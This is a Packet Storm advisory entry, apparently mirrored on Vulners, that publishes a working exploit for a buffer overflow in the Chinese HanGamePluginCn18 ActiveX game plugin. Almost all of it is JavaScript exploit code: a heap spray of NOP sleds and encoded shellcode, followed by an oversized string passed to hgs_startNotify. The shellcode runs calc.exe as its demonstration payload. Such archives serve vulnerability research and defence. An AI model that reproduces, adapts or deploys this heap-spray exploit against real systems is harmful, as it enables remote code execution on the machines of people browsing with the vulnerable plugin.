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ourgame-overflow.txt

🗓️ 20 Feb 2008 00:00:00Reported by luoluoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 16 Views

JavaScript code to run calc.exe using buffer overflow exploit

Code
`<%@ LANGUAGE = JavaScript %>  
<%  
  
var act=new ActiveXObject("HanGamePluginCn18.HanGamePluginCn18.1");  
  
//run calc.exe  
var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");  
  
var bigblock = unescape("%u9090%u9090");  
  
var headersize = 20;  
  
var slackspace = headersize+shellcode.length;  
  
while (bigblock.length<slackspace) bigblock+=bigblock;  
  
fillblock = bigblock.substring(0, slackspace);  
  
block = bigblock.substring(0, bigblock.length-slackspace);  
  
while(block.length+slackspace<0x40000) block = block+block+fillblock;  
  
memory = new Array();  
  
for (x=0; x<300; x++) memory[x] = block + shellcode;  
  
var buffer = '';  
  
while (buffer.length < 1319) buffer+="A";  
  
buffer=buffer+"\x0a\x0a\x0a\x0a"+buffer;  
  
act.hgs_startNotify(buffer);  
  
%>  
`

Data

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20 Feb 2008 00:00Current
0.4Low risk
Vulners AI Score0.4
16